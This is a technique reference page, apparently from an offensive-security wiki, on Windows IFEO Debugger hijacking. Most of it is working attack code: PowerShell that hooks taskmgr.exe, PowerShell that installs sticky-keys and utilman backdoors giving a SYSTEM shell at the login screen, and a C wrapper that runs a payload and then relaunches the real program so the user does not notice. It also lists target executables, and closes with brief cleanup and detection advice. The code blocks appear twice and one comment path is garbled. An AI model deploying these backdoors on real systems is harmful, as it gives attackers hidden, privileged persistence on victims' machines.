IFEO Debugger Hijack
Overview
Image File Execution Options (IFEO) is a Windows registry feature designed to allow developers to attach a debugger to a process at launch. When a Debugger value is set under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe name>, Windows prepends the debugger path to every invocation of that executable — the process loader calls the “debugger” with the original command line as its first argument.
Adversaries abuse this for two purposes:
- Persistence: Set the Debugger key for a commonly launched system binary (e.g.,
taskmgr.exe,notepad.exe) so the payload runs every time that binary is launched. - Accessibility feature backdoor: The classic “sticky keys” backdoor sets the Debugger key for
sethc.exe(Sticky Keys, triggered with 5× Shift on the login screen) orutilman.exe(Accessibility menu on the login screen) tocmd.exe, gaining a SYSTEM shell before authentication.
The accessibility feature backdoor (sethc.exe → cmd.exe) requires write access to HKLM,
which means Administrator or SYSTEM rights. This is typically used post-exploitation to establish
a SYSTEM-level persistence path that survives credential rotation — it does not bypass
authentication itself (the login screen is still shown; the backdoor fires via the accessibility
shortcut).
The call chain
- 1write HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target.exe>\DebuggerSet the Debugger value to the path of the payload; Windows will prepend this path to every launch of target.exe.
- 2user or system launches target.exeWindows passes the original target path as the first argument to the Debugger binary. The payload runs instead of (or before) the legitimate process.
- 3payload optionally launches the real binaryTo avoid detection, the payload re-executes the original command line so the user sees normal behaviour.
Reference implementation
Set IFEO debugger via PowerShell
# Persistence: every time taskmgr.exe launches, run payload.exe first $ifeo = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" $target = "taskmgr.exe" $payload = "C:\Windows\Temp\payload.exe" # Create the IFEO key if it doesn't exist New-Item -Path "$ifeo\$target" -Force | Out-Null Set-ItemProperty -Path "$ifeo\$target" -Name "Debugger" -Value $payload Write-Host "[+] IFEO hook set: $target -> $payload" # Verify Get-ItemProperty -Path "$ifeo\$target"
# Persistence: every time taskmgr.exe launches, run payload.exe first
$ifeo = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
$target = "taskmgr.exe"
$payload = "C:\Windows\Temp\payload.exe"
# Create the IFEO key if it doesn't exist
New-Item -Path "$ifeo\$target" -Force | Out-Null
Set-ItemProperty -Path "$ifeo\$target" -Name "Debugger" -Value $payload
Write-Host "[+] IFEO hook set: $target -> $payload"
# Verify
Get-ItemProperty -Path "$ifeo\$target"Classic accessibility backdoor (SYSTEM shell at login screen)
# Requires SYSTEM or Administrator — classic domain pivoting technique # Trigger: press Shift 5 times at the Windows login screen $ifeo = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" # Sticky Keys backdoor New-Item -Path "$ifeo\sethc.exe" -Force | Out-Null Set-ItemProperty -Path "$ifeo\sethc.exe" -Name "Debugger" -Value "C:\Windows\System32\cmd.exe" # Utility Manager backdoor (Win+U at login screen) New-Item -Path "$ifeo\utilman.exe" -Force | Out-Null Set-ItemProperty -Path "$ifeo\utilman.exe" -Name "Debugger" -Value "C:\Windows\System32\cmd.exe" Write-Host "[+] Accessibility backdoors installed"
# Requires SYSTEM or Administrator — classic domain pivoting technique
# Trigger: press Shift 5 times at the Windows login screen
$ifeo = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
# Sticky Keys backdoor
New-Item -Path "$ifeo\sethc.exe" -Force | Out-Null
Set-ItemProperty -Path "$ifeo\sethc.exe" -Name "Debugger" -Value "C:\Windows\System32\cmd.exe"
# Utility Manager backdoor (Win+U at login screen)
New-Item -Path "$ifeo\utilman.exe" -Force | Out-Null
Set-ItemProperty -Path "$ifeo\utilman.exe" -Name "Debugger" -Value "C:\Windows\System32\cmd.exe"
Write-Host "[+] Accessibility backdoors installed"Payload that transparently re-runs the original binary
#include <windows.h>
// This binary is set as the "Debugger" for target.exe.
// argv[1] is the full path to target.exe; argv[2..] are the original arguments.
// We run our payload, then re-launch the original binary so the user is unaware.
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
// Payload: do malicious work here
// ...
// Reconstruct the original command line from GetCommandLine()
// Format: "C:payload.exe" "C:path ooriginal.exe" [original args]
wchar_t *cmdline = GetCommandLineW();
// Skip past our own quoted path
wchar_t *p = cmdline;
if (*p == L'"') {
p++;
while (*p && *p != L'"') p++;
if (*p) p++; // skip closing quote
} else {
while (*p && *p != L' ') p++;
}
while (*p == L' ') p++; // skip spaces
// p now points to the original binary + its args
if (*p) {
STARTUPINFOW si = { .cb = sizeof si };
PROCESS_INFORMATION pi = {0};
CreateProcessW(NULL, p, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
return 0;
}#include <windows.h>
// This binary is set as the "Debugger" for target.exe.
// argv[1] is the full path to target.exe; argv[2..] are the original arguments.
// We run our payload, then re-launch the original binary so the user is unaware.
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
// Payload: do malicious work here
// ...
// Reconstruct the original command line from GetCommandLine()
// Format: "C:payload.exe" "C:path ooriginal.exe" [original args]
wchar_t *cmdline = GetCommandLineW();
// Skip past our own quoted path
wchar_t *p = cmdline;
if (*p == L'"') {
p++;
while (*p && *p != L'"') p++;
if (*p) p++; // skip closing quote
} else {
while (*p && *p != L' ') p++;
}
while (*p == L' ') p++; // skip spaces
// p now points to the original binary + its args
if (*p) {
STARTUPINFOW si = { .cb = sizeof si };
PROCESS_INFORMATION pi = {0};
CreateProcessW(NULL, p, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
return 0;
}Well-known IFEO targets
| Target exe | Trigger | Context |
|---|---|---|
sethc.exe |
Shift ×5 at login screen | SYSTEM shell before auth |
utilman.exe |
Win+U at login screen | SYSTEM shell before auth |
osk.exe |
On-Screen Keyboard at login | SYSTEM shell before auth |
narrator.exe |
Narrator at login | SYSTEM shell before auth |
taskmgr.exe |
Task Manager (Ctrl+Shift+Esc) | Runs on every invocation |
notepad.exe |
Any text file open | Very common trigger |
mspaint.exe |
PNG/BMP open | Common trigger |
svchost.exe |
System service startup | Fires constantly — noisy |
Removing the hook (cleanup)
$ifeo = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" # Remove the Debugger value only (preserves other IFEO settings for this exe) Remove-ItemProperty -Path "$ifeo\taskmgr.exe" -Name "Debugger" -ErrorAction SilentlyContinue # Or remove the entire IFEO key for the target Remove-Item -Path "$ifeo\taskmgr.exe" -Recurse -ErrorAction SilentlyContinue
$ifeo = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
# Remove the Debugger value only (preserves other IFEO settings for this exe)
Remove-ItemProperty -Path "$ifeo\taskmgr.exe" -Name "Debugger" -ErrorAction SilentlyContinue
# Or remove the entire IFEO key for the target
Remove-Item -Path "$ifeo\taskmgr.exe" -Recurse -ErrorAction SilentlyContinueDetection
Monitoring IFEO registry writes should be table stakes in any SOC. The HKLM path requires admin rights, which limits who can set it — any modification from a non-administrative process is suspicious. From an administrative process, any Debugger value that points to a non-Microsoft-signed binary or a path in a writable user directory is a high-confidence indicator.
Periodically auditing the IFEO keys for Debugger values (or GFlags silentprocessexit configurations) is a simple persistence-hunting query that catches this technique even without real-time alerting.